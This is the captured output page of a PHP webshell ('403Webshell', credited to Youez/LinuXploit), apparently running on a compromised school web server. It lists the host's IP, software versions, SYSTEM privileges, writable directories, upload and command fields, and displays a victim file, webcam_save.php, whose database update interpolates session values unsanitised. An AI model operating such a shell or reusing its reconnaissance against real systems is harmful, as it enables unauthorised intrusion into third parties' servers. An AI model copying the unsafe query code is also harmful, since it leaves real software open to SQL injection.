403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/edu2018/teacher/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/edu2018/teacher/webcam_save.php
<?php
session_start();
error_reporting(0);
/* JPEGCam Test Script */
/* Receives JPEG webcam submission and saves to local file. */
/* Make sure your directory has permission to write files as your web server user! */
header("Content-type:image/jpg");
$filename = date('Ymd-His');
$_SESSION['file']=$filename.'.jpg';
$newfile=$filename.'.jpg';
$images='../photo/chk-out/'.$filename.'.jpg';
$result = file_put_contents( $images, file_get_contents('php://input') );
if (!$result) {
print "ERROR: Failed to write data to $filename, check permissions
";
exit();
}

$url = 'http://' . $_SERVER['HTTP_HOST'] . dirname($_SERVER['REQUEST_URI']) . '/' . $images;
print "$url
";

$student2=$_SESSION['student'];
$tid=$_SESSION['gid'];
$teacher=$_SESSION["sess_id"];
$timestamp = date("Y-m-d H:i:s");
include "../config.php";
$mysqli->query("UPDATE checkout SET tid='$tid',tphoto='$newfile',date='$timestamp',teacher='$teacher' where stucode='$student2' AND active='no'");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit